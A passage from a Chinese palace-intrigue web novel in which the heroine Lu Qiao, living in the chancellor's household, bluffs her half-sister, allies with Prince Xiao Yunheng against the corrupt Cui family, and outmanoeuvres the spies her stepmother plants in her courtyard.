“虽说到时若挑个父亲的门生下嫁,也可受父亲庇佑,日子过得下去。”
陆乔话锋一转,“可只怕,妹妹此生与齐王殿下——再无缘分了。”
沈清柔心下慌张起来,“你......”
“我什么时候知道的?”陆乔挑眉,“那日你随我去皇宫之时,一路上你都不曾过多言语。”
“可下了马车,你见到齐王却是能言善道。”
沈清柔:“所以,从那时起,你就知道我对齐王有意?”
陆乔笑着摇头,眼神里全是狡黠。
“不是啊,是现在才确定的。”
沈清柔脸色一僵,
“你......方才是在诈我?”
空手套白狼这件事,陆乔干的不止这一次。
在入相府之前,她就用了一个空瓷瓶诈了**,令**亲手杀了苏婉婉,被迫与她合作。
如今再使起来,得心应手。
“你一直藏得很好,我不过就那一次看见你与齐王殿下说话。”
“我只是觉得不对有所猜想而已,今日特来印证。”
“所以......你也不必再藏着了。”
从陆乔进门到现在,不过寥寥数语,白氏与沈清柔就已经败下阵来。
沈清柔冷着脸,也不再装了。
“我是喜欢齐王殿下,可这也不是我的把柄,你休想借着此事利用我与姨娘。”
被人陆乔看透的感觉,让沈清柔很是不甘。
陆乔浑不在意,她站起身来正欲离去。
只留下一句话。
“我不强迫你们,若你们改了主意,可随时来找我。”
让藏了十几年的二人此刻与她合作,她从不觉得见一次面就可以说服她们。
万事都有开头,她已将棋盘布好。
只待沈清柔自己入局。
陆乔才回到房中
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,许管家匆匆赶来。
“二小姐,宫里德妃娘娘赏赐东西来了,指明是送给您的。”
德妃?
萧允珩的养母?
陆乔连忙赶到前厅。
沈丞相与儿子沈修文皆在太子府议事,因此只有王氏带着众人下跪领赏。
陆乔走到跟前跪下。
德妃身边的大宫女身着靛蓝色宫装,目光沉静,先行了标准的宫礼,方才开口:
“奴婢含章,奉德妃娘娘口谕,特来探望沈二小姐,为二小姐赐年礼。”
言罢,她微微侧身,身后随行的小太监们便捧着一个个铺着明黄锦缎的朱漆托盘,鱼贯而入,依次陈列开来。
赏赐单子念了许久才停,赏赐之物,既有首饰,又有衣料珍品,面面俱到,既不过分恩宠,也不失皇家风范。
跪在一旁的沈清芷倒是没什么反应,可沈清婉看着赏赐却眼神发光。
但她又想着萧允珩为皇上不喜,丞相府与萧允珩渊源太深,陆乔嫁过去不过是颗弃子。
她以后哪怕不嫁太子,嫁给其他有权有势的皇子,也比陆乔要好得太多太多。
她心里这才舒服一些。
“臣女谢德妃娘娘赏赐。”陆乔一个眼神,珠儿上前打赏,一个袋子里装得不轻。
含章笑眼盈盈,原以为这丫头流落在乡下十几年会粗鄙不堪。
今日一见,倒也样貌出众,知书达理,行事极有分寸。
她紧跟着提醒:
“二小姐领了赏,明日是要同宁王殿下一同入宫给娘娘拜年谢恩的。”
陆乔福身:“谢姐姐提醒。”
赏赐到位含章便带着众人离开了。
当年平阳侯府一案,宸贵妃被逼自尽,萧允珩一时间没有了生母,皇上就给他找了德妃做养母。
可萧允珩年幼,那时他一而再再而三地找到皇上想重审平阳侯府一案。
触怒皇上,被丢到边疆十年。
因此,萧允珩与德妃并未相处太久。
只不过前些日子皇上刚给萧允珩当众赐婚,德妃这个未来婆婆也要过个场面。
明日要见到萧允珩?
念及于此,陆乔眼里寒光一闪,不由得胸腔满是怒火。
昨日萧允珩可是直接将她拒之门外,对她不管不顾!
第28章 萧允珩请陆乔看戏
翌日,风雪渐停。
陆乔早早地起来了,霜月与红梅拿着早就准备好的衣服首饰给陆乔穿戴起来。
今天算是她第一次见未来婆母,可得慎重一些。
一切穿戴完毕后,霜月为她披上早已熏暖的淡青色羽缎斗篷,领口的雪白风毛瞬间将她包裹,愈衬得她脸庞小巧,最后带上暖炉便出门了。
一路马车,到了德妃宫殿前陆乔才下车就碰上了刚到的萧允珩。
他一身玄色暗纹劲装,外罩银灰色狐腋裘皮大氅,神情淡淡。
只是在看到陆乔时,眼眸才有些波动。
陆乔自顾自地朝着德妃门前走去,路过萧允珩时,萧允珩突然开口。
“沈姑娘别来无恙啊。”
可,陆乔并未停下脚步,路过萧允珩时并未搭理,径直走向殿内。
直接将萧允珩晾在原地。
就连站在陆乔身后的珠儿也是满脸不爽,狠狠瞪了一眼萧允珩身后的王五。
她可是看得真真的,就是这个人关的门。
王五苦笑着心里满是委屈......
同时跟在陆乔身旁的霜月,不知缘由。
此刻头皮发麻。
她家小姐这是直接不搭理宁王殿下吗?
还是在他母妃殿前?
她不理解,但她更不敢说话,只默默跟在陆乔身后。
一阵寒风吹过,萧允珩有些呆住的站在门口。
最后,轻笑一声。
“还真是记仇的丫头。”
“可不是嘛......”王**由得委屈道,“她是不知道您那夜偷偷派了王九暗自保护,只知道她受歹人袭击的时候,您还吩咐关门。”
最后几个字,王五咬得重了些,尤其是【关门】。
萧允珩轻撇王五一眼,道:“走吧。”
陆乔与萧允珩一前一后来到德妃面前行礼,德妃淡淡的看着眼前的二人,并无过多表情,看不出来她的喜恶。
听闻德妃膝下无子,早年儿子早夭之后就性情淡薄,对皇上也不怎么上心,除了偶尔尽到养母的职责问问萧允珩的近况之外,其余时间只烧香拜佛。
“都起来吧,赐座上茶。”德妃开口。
“你们二人是皇上亲旨赐婚,以后要夫妻同心,为皇家开枝散叶。”说完后她顿了顿,又补上一句。
“过往种种,都是上一辈人的事,你们的人生才刚刚开始,既将皆为夫妻,母妃希望你们能好好生活。”
陆乔愕然抬起头,她在德妃眼底看见一丝不忍。
“儿臣谨遵母妃教诲。”萧允珩面无表情,起身行礼答道。
陆乔也跟随萧允珩起身行礼。
萧允珩的话答得生硬,德妃注视着下方的萧允珩,许久不语,二人有些僵持。
大殿之上一时间寂静无声。
最后,德妃轻轻叹息一声。
“罢了,一切随你。”
“本宫累了,你们回去吧。”
萧允珩恭敬应下,便带着陆乔走了出去。
陆乔跟在萧允珩身后,始终保持着距离,二人并不言语。
直到宫门前,萧允珩站定。
“冬日里御花园里的景色别有一番风味,沈姑娘可要去看看?”
陆乔面无表情,并未看向萧允珩,只冷嗤一声。
“宁王殿下现在是邀我赏花吗?”
“若再遇到歹人,只怕在御花园里无门可关,届时宁王殿下该如何自处?”
陆乔虽知道那夜萧允珩不知她的**,没有救她的理由,她还是心底里恨得牙痒痒。
狗东西,关门哥!
还是和小时候一样的让她讨厌!
二人心底百转千回,可表面都是云淡风轻。
听到陆乔挤兑的话语,萧允珩眉头一挑,倒也不生气。
“我倒不是请沈姑娘赏花,而是请沈姑娘看戏,不知沈姑娘可愿一观?”
闻言,陆乔抬眸往上一扫,对上一双凛冽漆黑的眸子。
天空飘下零星雪花,落在萧允珩的鼻梁上,自从回到上京后,她一共见了萧允珩三次。
但次次皆有事情发生,二人见得匆忙。
这一次,她是第一次如此近距离看着萧允珩。
险些,陷入他的眼眸。
陆乔深吸一口气,撇过脸。
“带路。”
二人一前一后,不一会就走到了御花园。
陆乔伸着脖子四处打量着,找着萧允珩说的戏,这时眼前突然出现一枝梅花。
“沈姑娘也要做做样子,不必这般明显。”萧允珩似笑非笑。
陆乔接过梅花。
脸颊微红,是她着急了。
御花园不大,他们二人并肩走了没多久便看见一个凉亭。
里面站着三人。
陆乔都不认识。
“五弟,
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你怎么在这儿。”
是太子,萧允煜。
萧允珩带着陆乔上前行礼。
“今日带着未婚妻沈乔,特地前来拜见德妃娘娘。”
萧允珩说完,在场的三人脸色突然意味不明,带着些许嘲讽。
不过太子很快就招呼起来。
带着身后一人,“修文,说起来这是你妹妹吧!”
太子提到的人走了出来,正是王氏嫡子,陆乔的哥哥,沈修文。
他面容清雅,眉目舒朗。
看着陆乔的眼神淡淡的,浑不在意。
回答太子。
“虽说是家中妹妹,但我却是第一次见。”
继而又转头对着陆乔居高临下的感觉,吩咐道:
“你虽儿时流落在外,长在山野之中,但承蒙陛下赐婚,如今也是皇家儿媳了,日后需得谨慎侍奉,不要丢了我们丞相府的颜面。”
沈修文与陆乔确实是第一次见面。
陆乔回上京时,沈修文按照太子吩咐到北方赈灾,也就除夕之前才回上京。
而后又被叫到太子府议事。
因此,二人倒是没有打什么照面。
陆乔福身,乖巧答道:
“谨遵兄长教诲。”
“都是一家人,在这里认什么亲。”右边一个身着湖蓝色大氅的男子满脸焦急地打断了几人的对话。
他丝毫没有将萧允珩放在眼里,抓着沈修文的衣袖。
“修文兄,你我这么多年的兄弟,你就说你帮不帮吧!”
沈修文皱着眉头,“崔兄何必逼我,太子殿下都说没办法,你求我有何用。”
“况且,你可是皇后娘娘的亲侄子,想来也不会出什么大事。”
话里话外,沈修文的意思都是不帮。
见萧允珩与陆乔在这里,崔云峥也不便多讲。
急了半天嘴巴张了又张,最后说不出几个字来。
脸气的通红,最后拂袖而去。
场面一时间有些尴尬。
“既然太子殿下有事要议,臣弟就先告退了。”萧允珩识趣地告退。
方才崔云峥直接拂袖离去,此番举动显然也是没把太子放在眼里。
太子此刻脸色不佳。
颔首,让萧允珩退下。
二人走了很远,萧允珩开口。
“方才那人,是崔尧嫡子——崔云峥。”
“殿下何意?”陆乔问道。
第29章 与萧允珩合作
萧允珩继续说道:“你的兄长沈修文前些日子里,按照太子吩咐前往北方调度赈灾事宜。”
“这赈灾一事,自古以来总与**相伴,皇家拨款,再到官员手上一层层剥削下来,最后能到灾民手中的银两是少之又少。”
“过去,**的官员各自心中有数,不敢太过放肆,赈灾之事总能落地,不至于出太大的岔子。”
“可崔尧之子崔云峥手下的官员却在他的授意下,在此次赈灾之中大肆敛财。”
“雪灾严重的村落被大雪封路,村民被迫易子而食,可官员却在家中饮酒作乐,府差忙着给崔云峥送赃款,直至大雪将整个村落掩盖,无人生还。”
“太子手下本也有**,只是做得小心。可崔云峥之事闹得有些大,皇上正在下令彻查。”
“真是混账!”陆乔痛骂道。
她被养父母收养后就在乡村长大,是雪灾的亲历者。
大夏王朝苛捐杂税严重,特别是近些年来**盛行,百姓苦不堪言,勉强度日。
灾情严重时,一个红薯,都得一家三口分着吃。
一天下来,就靠着这一口红薯度日。
他们只能硬生生抗到赈灾粮下来,虽说寥寥无几,却也能让她们吊着一口气,熬过寒冬。
可他们却眼睁睁看着整个村落的村民被大雪淹没而死。
无尽的愤怒充斥着她的心间。
她冷冷道:“你同我说这些是什么意思!”
萧允珩审视着陆乔:
“想追随本王,沈姑娘该有个投名状。”
“殿下既然能将此事同我说得清清楚楚,想来手里自然是有证据,崔云峥**之事何须用得上我。”
萧允珩:“他是皇后的亲侄子,父亲崔尧官拜城防营统领,更何况皇上对**一事向来不放在心上。”说着,萧允珩的语气里带着一丝难以察觉的愤怒,“崔云峥最终无非领些责罚而已,性命无忧。”
“你要我杀了他?”陆乔问道。
萧允珩扬起眉梢,直言不讳。
“若只是要杀他,本王法子多的事,本王只是想看看沈姑娘可有其他法子让崔氏父子付出代价。”
陆乔颔首,心下了然。
萧允珩明摆着在试探她,可是她只能接招。
她之前为了应付淑贵妃,答应做她的棋子,可淑贵妃不可信。
萧允珩与她所谋之事相同,是唯一可以助她复仇的人。
她必须让萧允珩看见她的能力,而且信任她。
她才可以进行下一步。
况且,她本也是要对崔尧下手,只是一直没有寻到机会。
看来,萧云珩与她想法一致。
都想从崔云峥身上下手。
“好。”
陆乔点头答应,正欲转身离去。
萧允珩开口:“从今以后,有需要本王相助的,可派人来宁王府寻我。”
陆乔思索片刻。
“我需要一个会武功的侍女。”
上次酒楼之事,她心有余悸,不会武功是她最大的薄弱之处。
“好,本王会安排。”
回府的一路,陆乔都苦思冥想,萧允珩已经将局设好,并把行刑的刀交到了她的手上。
到底如何才能让崔云峥乃至整个崔府,甚至的**都付出代价呢?
不过,萧云珩所做之事与她不谋而合。
因为不久前,她才安排巩大哥帮他调查崔云峥。
就这样,陆乔心思重重的回了府。
而此时的另一边。
啪——
一个茶杯重重摔落在地,碎得四分五裂。
“失败了?”昭阳郡主身着玄狐大氅,腰中悬错金嵌玛瑙马鞭,在沈清芷的房间甩杯发怒。
“你知道我为了让太子哥哥约萧允珩到醉逢楼又让他改道丞相府花了多大的功夫吗!”
“你现在一句轻飘飘的失败了,就是给我的交代吗?”
昭阳郡主得到消息后匆匆赶到丞相府,为了配合沈清芷的计划,她可是出了大力,可却得到这么个结果。
今天,那个**还陪着萧允珩进宫见德妃。
这叫她怎么忍!
“没想到你也是跟沈清婉一样的废物!”
昭阳郡主破口大骂,沈清芷脸色也不好看。
她从来没被别人这
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么指着鼻子骂过。
“若郡主有用,就不会在皇宫时被沈乔硬生生掰回一城,自己惹了一身的骚了。”
她继续道:“况且我算计的分毫不差,不过是找的那两个**实在没用罢了。”
沈清芷的话让昭阳郡主脸色骤变,但不过多久她转了转眼眸,坐回椅子上,话锋一转,冷嗤一声:
“哼,你可别激我。”
“下个月就是姑母生辰,届时姑母会在皇宫设宴,所有的名门贵女都会参加。”
“虽说你是沈丞相府嫡女,能入宴会的名单之列,但你说若我告诉姑母,你德行有亏,满腹算计,还设计坑杀自己的姐姐。”
“你猜你还能入宫为姑母贺寿吗?”昭阳郡主得意地笑着。
沈清芷脸色一沉。
“你敢威胁我!”
昭阳郡主并不搭理沈清芷,自顾自地给自己倒了一杯茶,端在鼻间品着茶香。
“你可以这么理解。”
沈清芷握着帕子的手紧了又松,指甲狠狠嵌入掌心。
良久,她深吸一口气。
“我需要时间。”
昭阳郡主直直地看着沈清芷的眼神,最后勾唇浅笑。
“好,我给你时间。”
“我希望,你不要让我失望,不然......”
昭阳郡主的眼里满是警告。
说完,将手中的茶一饮而尽后离开了沈清芷的房间。
不过多久,王氏从侧房走了出来。
“若是昭阳郡主有心为难,在皇后与太子面前说尽你的坏话,这可如何是好。”
王氏有些担忧。
虽然除夕夜那一跪,她也恼怒不已。
但她更怕女儿成为昭阳郡主的棋子。
沈清芷一掌拍在桌面上,显然是方才忍耐了太久。
昭阳郡主走后,沈清芷这才露出自己真实的一面。
眼神里全是阴毒。
她微微眯着眼睛,“敢威胁我,若有机会,我定要连你一起铲除!”
说完她又想到除夕之夜,陆乔居然逼着让她在祠堂给那个老**跪着守夜。
“我一定会杀了她们,一定!”
第30章 都在安插眼线
陆乔刚回房,王氏就来了。
她身后还带着几个丫鬟婆子。
“乔乔,你回府多日,我作为你的母亲,也没来好好看看你。”
陆乔有些佩服,除夕之夜,王氏与沈清芷跪了一夜,现下还能和颜悦色同她说话。
她坐在桌边,也乖巧回应。
“丞相府事忙,母亲照看不过来也是有的。”
“那...那枚玉佩,乔乔你是从何处得到的?”王氏小心试探。
陆乔抬眸看着王氏不语。
王氏有些诧异,但依旧温和的笑着。
陆乔藏在衣袖中的手紧紧握着拳头,克制不住的颤抖着。
十年前,王氏就是这样披着一张温厚端庄的皮囊。
在沈自山还是老侯爷门生时,王氏便跟随沈自山拜访平阳侯府。
那时陆乔母亲身怀有孕,王氏十分殷勤,日日侍奉在侧。
最终,骗得陆乔母亲吃下有毒的糕点,**垂死。
那毒十分凶猛,解药之中有一味草药只在北辰境内生长。
父亲与爷爷别无他法,只能前往北辰取药。
最后,虽然救回了母亲的性命,可孩子却保不住。
而且就是这一去。
消息传回皇宫,递到皇上案牍,丞相府谋逆之事被坐实。
王氏的糕点,成了平阳侯府的催命符。
“乔乔?”
王氏又问了一句。
陆乔回过神,凉飕飕的目光盯着她。
“母亲在外面放印子钱也该小心些,都逼**好几个人。”
王氏心里一紧。
她只以为这个小**知道她在放印子钱,没想到连她逼**都知道得一清二楚。
这下有些难办了。
“孩子,你不操持家务不知道。”王氏委屈得险些落泪。
“我放着一个好好的丞相夫人不当,去私放印子钱作甚,还不是为了补贴家用。”
“你父亲在朝为官,这么多年下来,四处打点疏通的,可都是白花花的银子。”
王氏说得真切。
不知详情的人险些会被糊弄过去。
陆乔故作感动,一改方才的架势,反而安慰起王氏来。
“这...母亲,我自由长在乡野,确实不知这里面竟有这么多的门道。”
“母亲放心,此事我绝不会与父亲提起。”
见陆乔信了她的说辞,王氏心里冷笑。
不过是没见过世面的丫头罢了。
果然好糊弄。
也不知除夕夜,是走了什么运,居然躲掉了追杀。
目的已达,王氏也不想在陆乔处久留。
她倍感欣慰地牵着陆乔的手。
“你虽长在乡野,却是个明事理的好孩子。”
说完,她看着陆乔身后的珠儿和霜月红梅。
“你如今是丞相府的嫡出大小姐了,不日将要嫁给宁王殿下,身份非同寻常。”
“院子里就这几个丫头片子伺候,怕是做事不知轻重,没个章法。”
王氏招呼身后的一个婆子。
“刘妈妈跟在我身边多年,有她在你院子里打理上下,我很放心。”
陆乔房里只有珠儿一个大丫头,王氏直接塞个有经验的老婆子,上来就是要做陆乔房里主事的人。
王氏此番来陆乔房中,先是只字不提除夕夜跪祠堂之事,转而又是句句关怀。
再又探查玉佩之事,消弭她放印子钱的祸患。
最后再安插自己的人。
一步步,算得精明至极,却都处处体现着她作为母亲的关怀。
“既是母亲身边用了多年的人,我如何使得?”
“都是相府的人,能伺候你,也是她们的福气。”王氏对她们使了眼色。
刘妈妈走在陆乔跟前跪下。
“奴婢一定伺候好大小姐。”
陆乔也不便再说下去,只能点头应下。
当着王氏的面,让刘妈妈做了院内的管事。
王氏回了房,沈清芷走了过来。
“芷儿,你对沈乔那般小心,莫不是看走了眼?”
“母亲为何这样说?”
“我与她哭诉了两句,她便内疚不已,自己主动答应不会跟相爷透露印子钱的事。”
“想来不过是个行事莽撞的丫头罢了。”
王氏本以为今日有场硬仗要打,没想到却如此轻松。
沈清芷不以为然,她能察觉到陆乔不是好对付的人。
“刘妈妈送过去了吗?她可收下?”
“已经收了,做了院内管事。”
沈清芷这才稍稍心安,只要陆乔收了刘妈妈,那一切就还在她的掌控之中。
入夜,疏影居。<
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br>窗外北风卷着细雪,敲在窗棂上簌簌作响,炭盆里银骨炭烧得正旺。
柳氏倚在桌边给沈自山倒了杯酒。
“相爷,喝杯酒暖暖身子吧。”她的声音放得极低,带着些讨好。
沈自山未抬头,只吃着桌上的菜。
场面有些冷意。
柳氏坐在位子上,再也没有动静。
房间里,传来一阵低低的啜泣声,柳氏轻耸着肩。
柳氏得沈自山多年宠爱,见柳氏这个样子,沈自山也有些不忍。
他放下筷子,叹了口气。
“你哭什么?”
沈自山开口,柳氏哭的声音愈发大了些。
她半跪在地上,身子趴在沈自山的大腿上。
脑袋微侧,露出白皙的脖颈。
“相爷,婉儿她真的知错了,她最近日日在家抄书,眼睛都哭肿了。”
“婉儿连着几日晚上都做噩梦,说从小疼她到大的爹爹不要她了。”
柳氏扶膝而泣,沈自山心里的怒火消了大半,语气缓和了许多。
“她知道错就好!”
见状,柳氏见状一喜,起身将桌上的酒杯递到沈自山嘴边,亲手喂了下去。
沈自山一饮而尽,将柳氏扯到怀里。
也不知为何,纵然柳氏已育有一女,他还是贪恋柳氏的身子。
柳氏娇媚一笑,顺势倒在沈自山的怀里。
“婉儿想着大小姐刚回相府,怕多有不惯的,这几日在府上选了个得力的丫鬟想送过去伺候乔乔。”
“也正好缓和缓和姐妹之间的感情。”
闻言,沈自山点头。
“这就对了!姐妹之间,本该互相帮衬。”
柳氏:“只怕大小姐还在介意皇宫之事,不收婉儿送去的丫鬟呢。”
“这是小事。”沈自山摆摆手,“送去时吩咐说是我让她收下就是。”
得到沈自山首肯。
柳氏心中暗暗窃喜,她一早得知王氏那个**给沈乔房中送了人,她可不能眼睁睁只看着王氏塞人。
得到消息后,她立马就在房中挑了个丫头,一切安排妥当。
只待借着沈自山的由头送出去。
“相爷,下个月就是皇后娘娘寿诞,清婉......精心准备了一支舞,想去给皇后娘娘祝寿......”
第31章 刘妈妈**
话音一落,沈自山就沉了脸。
“淑贵妃亲口所说,婉儿三年不得再入宫宴,你是忘了吗!”
可柳氏却满腹委屈,眼底闪着恨意:
“可淑贵妃既不是皇上又不是皇后,怎得她说什么就是什么?”
“婉儿如今已经及笄,她这三年若不能参加宫宴,又如何觅得良婿。”
她蜷缩在沈自山怀里耸着肩。
“相爷,你就疼疼婉儿吧~”
“要不,你去求求皇上?”
沈自山皱着眉头,**为何平日里解语花似的妾室,如今却这么不懂进退。
“胡闹!淑贵妃如今乃是皇上宠妃,手握协理六宫之权。”
“我一个堂堂丞相,怎么能为了这种事情去求皇上!”
见沈自山又有些气恼,柳氏也不敢再提起。
只能先控沈自山的心,后面的再徐徐图之。
“是妾身见识浅薄,险些害了相爷。”
“我们不提了。”
说完,她一双纤纤玉手,慢慢伸进沈自山的衣襟里。
不一会,沈自山满脸享受。
将她打横抱起,往床边走去。
窗外,雪下得更大了些,而室内,只剩下炭火偶尔发出的噼啪轻响和喘息声。
*
晨起。
陆乔依旧站在桌边练字。
管事挑帘进来,身后带了一个丫头。
“大小姐,柳姨娘担心大小姐府上丫头伺候不周,特意送了一个丫头过来。”
“昨日柳姨娘已和相爷禀报过了。”
说完,她走到陆乔跟前见礼。
“奴婢彩环,见过大小姐。”
陆乔看了一眼,对着管事道:“知道了,你下去吧,她留下就行。”
昨日王氏送人过来,她就知道柳氏也坐不住了。
管事刚走,刘妈妈就挑帘进来了。
她朝着陆乔福身后,转身看向彩环。
语气威严。
“你是柳姨娘送过来的,那自然就知道相府的规矩,不必我再多说。”
“既然来了大小姐房里,今后说话做事就得仔细着点,好好给大小姐当差。”
彩环应声称是。
“你今后就在院里做些洒扫的活计。”
一切安排完,刘妈妈才仿佛记起陆乔来。
“大小姐,这样安排可好?”
陆乔也不驳她的话。
“就听刘妈妈的。”
见陆乔这番软弱的态度,刘妈妈眼里不由得更加轻视了几分。
果然不过是乡下长大的野丫头而已。
她想拿捏,还不是轻轻松松。
于是,仰着头就出了房门。
陆乔又继续练着字。
一整天,院子里都就都是刘妈妈呵斥众人的声音。
在陆乔房里可谓是作威作福。
就连陆乔要喝什么茶,也得看刘妈妈泡什么。
深夜,忍了一天的珠儿凑到陆乔床前,低声说道。
“小姐,这刘妈妈今日不过在院里一天,就已经将所有的人都训斥了一遍,就连我也受了她不少数落。”
“她还擅自将院里众人的分工全部都重新调整,把清闲的差事全都换了主母带来的人。”
“其他人都做着苦差。”
珠儿忧心忡忡,“这些也都罢了。”
“我暗自看着,主母与柳姨娘送来的人,才一天就已经偷偷把小姐的闺房翻了个底朝天。”
“这下,咱们房里已经漏得跟筛子一样了!”
陆乔抬手点在珠儿的额头上。
“最近进步很大,今日一整日没有和他们吵闹起来,还懂得偷偷观察。”
她很欣慰珠儿的改变,
得到陆乔的夸奖,珠儿摸着额头,嘴里嘟囔着。
“我认真给小姐看着呢,小姐还打趣我。”
陆乔侧身盖上被子。
“你且放心,我心里有数。”
翌日。
陆乔被院中声音吵醒。
远远地,刘妈妈刺耳的声音叫嚷着。
“这是怎么当的差,竟然把茶具碎了!”
“你知道这套茶具有多名贵吗?就是卖了你都买不起的!”
“可...分明是您撞得我呀......”红梅跪在一旁,委屈不已。
霜月轻声提醒:
“刘妈妈,小姐还在睡着,您小点声音。”
“怎么?”刘妈妈叉着腰,毫不退步,“她做错事还不让说啊!”
刘妈妈说着话,斜着眼暗地里看着陆乔卧室方向。
依旧吵嚷着。
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>“再说了,现在时辰可不早,若是以前在主母院里,清芷小姐早就在练琴了。”
话里意有所指,霜月吓得不敢吱声。
“外面发生什么事?都进来吧。”陆乔的声音从屋内传来。
红梅擦了眼泪,站起身,势必要在陆乔面前评评理。
这边,珠儿伺候着陆乔起床洗漱。
刘妈妈抢先走到陆乔床边跪下。
“老奴早上本打算早早来小姐房中伺候,却没曾想看到红梅将一套绞胎瓷的茶具摔碎,这才骂她几句。”
红梅赶着跪了下来,哭着道:
“分明是刘妈妈撞了奴婢,却还恶人先告状!”
“若不是你走来不仔细看,如何能撞到我身上!”刘妈妈吊着眉梢,恶狠狠地剜了红梅一眼。
“给小姐当差居然走路还这么不当心,我都没说你撞了我的事!”
红梅见刘妈妈撞了自己,导致自己摔碎了茶具,如今却在小姐面前反咬一口,一时间气得说不出话来。
“你你你!”
“分明是你撞的我!”
红梅急哭了,一句话颠来倒去地说着。
可刘妈妈却理直气壮,跪地腰杆挺直。
陆乔坐在梳妆台前,珠儿正为她梳着发髻。
她淡淡开口。
“霜月,你说呢?”
霜月双手合于身前,站在一旁,不急不缓道。
“方才奴婢确实亲眼所见是刘妈妈撞了红梅,才导致红梅摔碎了茶具。”
得了霜月作证,红梅冤屈得解。
朝着刘妈妈道:
“看!分明就是你撞的我!”
闻言,刘妈妈面色有些慌乱。
“老奴是这两日才来小姐院中,与小姐院中的丫头是生分些,她们互相帮衬也是有的。”
她满脸痛心。
“可,老奴是主母特意送过来尽心尽力照顾小姐的,搭理院中上下的。”
刘妈妈一来说着是霜月给红梅打掩护,二来又提起自己是主母的人,却丝毫不谈到底是谁撞了谁。
红梅气的小脸通红。
“分明就是你撞的我!霜月说的是实话,与大家关系又有何干!”
霜月则是依旧立在一旁,未见陆乔询问,并不开口反驳。
第32章 平王约陆乔相见
陆乔转过身来,看了看房中几人。
面无波澜,叫人看不出喜怒。
“都起来吧。”
“不过是套茶具,碎了就碎了吧。”她看着红梅,还是有些严厉,“只不过今后走路要当心些。”
陆乔又对着众人道:
“刘妈妈是主母特意派来我院中理事的,我的院里当属她最大。”
“平日里她对你们的训诫,要牢牢谨记在心。”
听到陆乔给她撑腰,刘妈妈自顾自地站了身,甚至没得到陆乔点头。
她站在一旁看着霜月红梅,眼里满是得意。
“是。”
霜月福身恭敬答道。
红梅抽抽搭搭,有话不敢言。
磨磨蹭蹭的也答了声是。
“都下去吧。”
从陆乔房中出来,刘妈妈看着院里的众人,撇了身后红梅一眼。
“今儿就让你长长记性,在这院里到底谁的话管用,谁的眼睛是雪亮的!”
其他众人噤若寒蝉,无一人敢出声。
“你,给我把地上的碎片清理了!”
刘妈妈记着霜月方才给红梅作证的事,对着霜月颐指气使。
“是。”
霜月低着头,应声答道。
红梅红着眼眶,气愤跑开。
暖阁里,炭火烧得正旺,驱散了冬日的寒意。
陆乔拥着一袭厚重的织锦毯,手中握着史书正在细细看着。
窗外依旧是刘妈妈呵斥下人的尖锐嗓音,嚣张刺耳,陆乔却充耳不闻。
门帘掀开,珠儿在外面采买而归。
她走进了房间警惕地打量了一下屋内没有旁人,凑到陆乔身旁,递上一个信封。
“小姐,奴婢出门采买时,碰到一个小厮悄悄给奴婢递了一封信。”
“奴婢看得真真的,他拿的是齐王府的玉佩。”
有了上醉逢楼的经验,这次珠儿是千般小心,哪怕是看到玉佩,她也并未完全相信对方身份。
陆乔接过信封打开。
齐王邀她明日至湖心亭看雪。
珠儿有些担忧:
“小姐,您已与宁王殿下有了婚约,私下赴了齐王殿下的约,若叫旁人看见了,怕是说不清楚。”
自上次她在淑贵妃面前表了忠心之后,她们再未联系。
怕是淑贵妃已与齐王说了此事,需要用她这颗棋子了。
她躲不掉。
“无妨,我自有安排。”
珠儿接过陆乔手中的信,正欲丢入暖炉烧掉。
陆乔却拦下。
“不必烧,就放我桌上的书下压着就行。”
“那如何使得。”珠儿小脸皱成一团,低声凑到陆乔跟前。
“小姐,咱们房里如今可是漏得跟筛子一样了。”
“万一她们看见了这封信,不知道还要闹成什么样子呢!”
“傻珠儿,我就怕她们看不见。”陆乔放下手中的史书,站起身扯了扯衣裙。
“走吧,你将信放好后随我出去转转,给她们一个机会。”
珠儿满脸疑惑,却只能照办。
不过一个下午。
齐王私下邀请陆乔明日在湖心亭赏雪一事在传遍了丞相府。
引起轩然大波。
一时间,丞相府内诸人暗潮涌动。
凝香居。
虽然沈清柔没有明目张胆给陆乔院中送眼线,但得到的消息却不比其他二人慢。
她看着满桌的菜肴,食不下咽。
心里七上八下,实在想不明白齐王与陆乔究竟是何关系。
陆乔可是皇上亲自指婚给宁王殿下萧允珩的!
而且,齐王为何会私下写信邀约?
沈清柔手里的帕子快被她揉烂了。
陆乔是知道她对齐王殿下的心意,她们二人之间到底所为何事?
淑影局。
啪——
茶杯被沈清婉狠狠摔碎在地。
“她不是有了宁王了吗?怎的齐王殿下还私下邀约?”
沈清婉此刻内心仿佛有一团火在燃烧。
凭什么!
她被沈乔那**害得三年不可参加皇宫宴请,如今连皇后寿诞也不得进宫。
这还如何与王孙贵族相遇。
沈乔这个**身旁居然还有两个皇子!
莫不是她看着宁王遭皇上厌弃,早已私下与齐王殿下有了首尾?
越想沈清婉越慌。
她现在可是什么都没有!
这可如何是好!
柳氏拿着帕子擦着沈清婉手上残留的茶水。
“别再乱砸东西了,仔细
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伤着自个儿。”
“娘,我可怎么办呀,爹爹也不帮我。”沈清婉急哭。
柳氏心里也着急,她的女儿才情相貌样样出众,只可惜她是妾室。
婉儿也只能是庶女。
她突然看着沈清婉,心里有了主意。
“婉儿,既然你无缘再入皇宫与皇子相见。”
“现在不就机会吗?”
“明日齐王殿下要秘密约见沈乔,时间、地点,我们都知道,既然如此,你也去!”
“可......”沈清柔有些犹豫,“可齐王殿下约的不是我呀,我若跟去算什么......”
柳氏抓着沈清婉的手。
“柔儿,你若想嫁入皇家,就得抓住机会!”
“什么脸面的都不重要!”
“若届时齐王殿下问起,你就说偶然遇见罢了。”
“真的可以吗......”
主母院中。
沈清芷冷哼一声。
“沈乔回上京不久,居然与齐王殿下有此往来,我还真是小看了她。”
王氏端坐在一旁。
“上次便听你提及,在皇宫里就是淑贵妃救的她。”
“她与齐王殿下莫不是真的有什么?”
“若是这样的话,芷儿,咱们就得多加小心了,现在齐王殿下可是与太子是分势而立,势力威望皆不输太子。”
沈清芷勾起唇角,现在房中只有她母亲一人,她平日里的温婉荡然无存,一张清冷的脸蛋上,满是阴狠。
“现在要小心人是她了。”
“她与宁王可是有婚约在身的,现在与齐王私下见面,若明日被抓个现行......”
一场风波正在悄然形成。
这个夜晚,整个丞相府怕是只有陆乔睡的着了。
翌日。
陆乔一早便起床熟悉,坐在镜前,任由贴身丫鬟将青丝绾成一个简单的流云髻,只簪一支鎏金步摇。
珠儿拿来一件莲青色的斗篷披在陆乔身上,风帽边缘一圈雪白的狐**,衬的陆乔更显清冷。
今日出门,她只带了珠儿。
从侧门走出,上了马车,就朝着湖心亭而去。
